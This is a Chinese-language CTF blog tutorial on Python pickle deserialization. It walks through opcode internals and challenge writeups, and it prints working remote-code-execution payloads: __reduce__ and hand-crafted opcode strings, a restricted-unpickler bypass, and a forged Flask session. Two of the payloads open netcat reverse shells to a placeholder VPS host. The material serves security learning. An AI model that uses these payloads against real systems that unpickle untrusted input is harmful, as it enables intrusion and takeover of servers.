python安全之Pickle反序列化漏洞学习。
前言写这篇文章的起因是两次遇到python pickle的题目都只做到了命令执行的程度,但都没有反弹shell。看别人的wp都是通过curl将flag拉到vps上的,怎么说呢,死于没有公网IP。虽然之前在做题的时候,照着网上的exp可以把自己的payload改个七七八八,但是说实话我距离真正意义上的“手撸”opcode还是有着一段距离。这篇文章主要还是通过我所遇到的pickle反序列化题目出发进行
前言
写这篇文章的起因是两次遇到python pickle的题目都只做到了命令执行的程度,但都没有反弹shell。看别人的wp都是通过curl将flag拉到vps上的,怎么说呢,死于没有公网IP。虽然之前在做题的时候,照着网上的exp可以把自己的payload改个七七八八,但是说实话我距离真正意义上的“手撸”opcode还是有着一段距离。这篇文章主要还是通过我所遇到的pickle反序列化题目出发进行编写,当然也少不了pickle的原理部分。
正文
在正式开始这篇文章之前,我想先贴出一位大佬的文章Pion1eer大佬这篇文章所写的关于pickle序列化原理的解释,我相信在市面上应该找不到比这更详细的了。我下面也会写相关原理,但是一定不会有他的全面。
好,那我们开始。请考虑如下代码段。
import pickle
import os
import pickletools
class exp(object):
def __init__(self):
self.value1 = 'hh'
self.value2 = 'xx'
user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)
它的执行结果是这样的。
pickletools.dis()具有反汇编的功能,解析指定的字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。
而pickletools.optimize()具有优化的功能,会将一些不必要的指令删除,从而使看上去的输出更加清晰。
我们现在来依次解释一下上面各行的指令作用:
- 0x80:机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
- c:获取一个全局对象或import一个模块,会读取两个字符串module以及instance。形式如下c[module]\n[instance]\n
- ):向栈中压入一个空数组
- \x81:从栈空间弹出一个类和参数,并用这个参数实例化这个弹出来的类,最终把实例化的类再次压回栈中。
- }:压入一个空的字典
- (:向栈中压入一个MARK标记
- X/V:实例化一个字符串
- u:以键值对的形式进行数据组合(组合的数据为当前栈空间位置到上一个MARK之间的数据),并全部添加或更新到该MARK之前的一个字典中
- b:利用填充好的字典和实例化好的对象进行属性赋值。
- . STOP简单易懂,结束序列化。
这么看可能有些抽象,所以我画了个流程图(虽然效果好象一般)。
上面这个小例子,我想已经足够理解pickle反序列化的一些流程上的问题了,最起码我们已经知道了它的大致操作。
接下来我们从一个经典的trick来入手。
1.有关__reduce__()
请考虑如下的代码:
import pickle
import os
import pickletools
class exp():
def __init__(self):
self.value1 = 'hh'
self.value2 = 'xx'
def __reduce__(self):
ls = "dir"
return (os.system, (ls,))
user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)
我们在之前的例子上加上了__reduce__()函数。它是用来干什么的呢?如果你以前学习过php的话,那么魔法函数这个概念你一定不会陌生。这里的__reduce__()函数很像php魔法函数中的wakeup(),他会在这个对象进行反序列化的时候自动调用。
上面代码的运行结果:
emm,我们现在可以拿着这个payload去反序列化一下看一下效果如何。
import pickle
payload = b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.'
y = pickle.loads(payload)
可以看到的是,只要这个payload进入了load()或者是loads()函数那么他就会触发里面的系统命令。
当然了__reduce__()这个函数的考点,考到现在,可以说是已经考烂了。现在大部分的题目它的侧重点都不会是__reduce__(),而是一些其他的“古怪”。
但是为了说明这个例子,我们还是要通过一道题来说明问题。(题目来源:BUUCTF)
[watevrCTF-2019]Pickle Store
进入题目,随便买一个吃的,然后用bp进行抓包
把上面的session的值进行base64解码。然后拿到一串字符。一看就是pickle的字符串
用脚本解一下。
import pickle
import base64
hh = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'
hh1 = pickle.loads(base64.b64decode(hh))
print(hh1)
看来它的后端是一定调用过loads或load函数的,那么就好办了,我们直接用去getshell就行了。
import base64
import pickle
class exp(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))
hh = exp()
print(base64.b64encode(pickle.dumps(hh)))
这里要用小号在buu的内网开一个靶机,然后用部署后靶机的ip及监听端口进行操作。
(这虽然不知道为什么,我启动的靶机连不上),所以这里用了我自己的vps
2.R指令的禁用
在上面reduce函数的使用过程中,我们发现在payload的最后倒数第二行上面会有一个R指令,他就是用来调用reduce的,那么我们如何进行rce呢?
这里就不得不说一下Pion1eer佬对于build指令的解读了。详情就看上面我所放置的链接,下面直接说一些利用方法。
\x80\x03c__main__\nexp\n)\x81}
上面这一行是之前的payload中截取的一部分。其功能就是实例化了一个对象并压入了一个空的字典。我们现在的任务是将字典内填充一个键值对为__setstate__:os.system。那么我们要如何实现?(手写opcode。
先用(写入一个MARK标记,然后写入要填充的字符串,再用u指令进行字典的填充。最后用b指令进行实例化,并赋值。
写完之后,大概会变成这样
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nub
接下来我们所做的所有build操作所进行的传参,都会被system接受。
所以构建出最后的payload
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.
ok,让我们来看一看效果。
命令是成功执行了的,而且我们也没有用到reduce()。在R指令被禁用的时候,我们可以通过这种利用Build指令的方式进行RCE。
不仅如此,我们甚至可以通过i指令,o指令进行构造
- i:先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(听起来和R指令挺像的)
- o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数
i指令的:(S'whoami'\nios\nsystem.
o指令的:(cos\nsystem\nS'whoami'\no
3.有关opcode的编写
这里再新引入几个opcode:
- t:寻找栈中的上一个MARK,并组合之间的数据为元组
- d:寻找栈中的上一个MARK,并组合之间的数据为字典
- S:实例化一个字符串对象
- R:选择栈上的第一个对象作为函数、第二个对象作为
- s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象
参数(第二个对象必须为元组),然后调用该函数(就是reduce函数的调用)
其实,当我在自己机器上运行的时候,我发现我的pickletools所生成的opcode与网上师傅的大相径庭,感觉很怪。于是于是去了kali上再次运行自己的代码,这次就相同了。这里也是很关键的一点,pickle这个东西在不同的操作系统上的运行结果是不一样的,而且不同版本的pickle也有不同的地方。这里建议各位还是在linux系统中生成payload,毕竟大多数比赛的环境全是linux。版本的话就用版本0吧。
(1)原始的方法(手写)
手写opcode是最考验一个人对于pickle序列化的理解程度的一种方式,当然也是最原始的方法。
这里用一道题作为例子(题目源自强网拟态2021)我在题目上做了一些改变,为了便于测试看效果。
(debug.py)
import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(module)
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
data = "opcode"
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)
config.py
notadmin={"admin":"no"}
def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)
我们的目标是要将config.py中的变量中的admin的值变为yes。让我们来利用前边给出的opcode尝试编写。
b"cconfig\nnotadmin\nS'admin'\nS'yes'\ns."
后面的事情就是利用出题人留下的后门,进行shell反弹。这里会涉及到opcode拼接的问题:在手写opcode的时候我们可以通过删除前一个opcode的结束符以实现和后面opcode的拼接工作。
(这里因为是本地复现的缘故所以就用命令执行来替代了)
cconfig\nbackdoor\n(S'__import__('os').system('dir')'\ntR.
将上面两个拼接起来就是完整的payload了,当然这里要删去结束符。
当然这里的命令执行也不止一种方式,可以在上文中的R指令过滤找到其他的方案。
详情可以去这个文章https://xz.aliyun.com/t/7436#toc-10
(2)神器pker
pker的相关语法,我就不过多的去说了大家直接去这篇文章去看吧。
pker的下载链接地址https://github.com/eddieivan01/pker
通过pker.py生成的payload同样可以达到相同的效果。这就免去了我们手写opcode的麻烦。(但是这里建议新手玩家还是以手写为主。)
4.题目加更
(题目来源:[HFCTF 2021 Final]easyflask)
首先要了解一下Linux系统中记录着进程信息的文件,/proc/self/目录,这个目录不同的进程访问该目录时获得的信息是不同的,获得的会是本进程的相关信息。
更详细的内容见Zero_Adam的博客。由此开始进行解题过程。
先通过题目上的提示拿到源码
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else: return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
再去利用/proc/self/environ去该进程的环境变量里面看看。
拿到了secret_key,secret_key在flask模板中是用于生成session的,所以我们要是想让我们的自己生成的session有用,就要把源码中的星号替换成这个玩意。
我们注意到它的源码中有这么一条语句。
而这个所谓的u是序列化后的User。那好,我们只需要在原来对象里面加上一个__reduce__()用于执行我们的函数就行了。
(看不懂type构造的去这里https://zhuanlan.zhihu.com/p/40916705)
exp如下:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 1, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('nc VPS_IP 9999 -e /bin/sh')",))})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
然后在linux系统中启动服务,去找生成的session。
利用这个session去题目的那个网站访问admin,就可以了拿到shell了。
5.后记
这是我到现在为止写的最长的一篇文章了,自从又一次遇见了pickle的题目我就已经下定决心,要写一篇关于pickle的文章,来记述一下自己的学习历程。真正意义上去放开手去写的时候,才发现自己还有很都不知道的东西,才发现原来要写的东西有这么多。还是有很多收获的,无论是从学习的角度还是从更文的角度。当然了,pickle的学习远不止这些,还有更多的等着我们去发掘。
更多推荐
所有评论(0)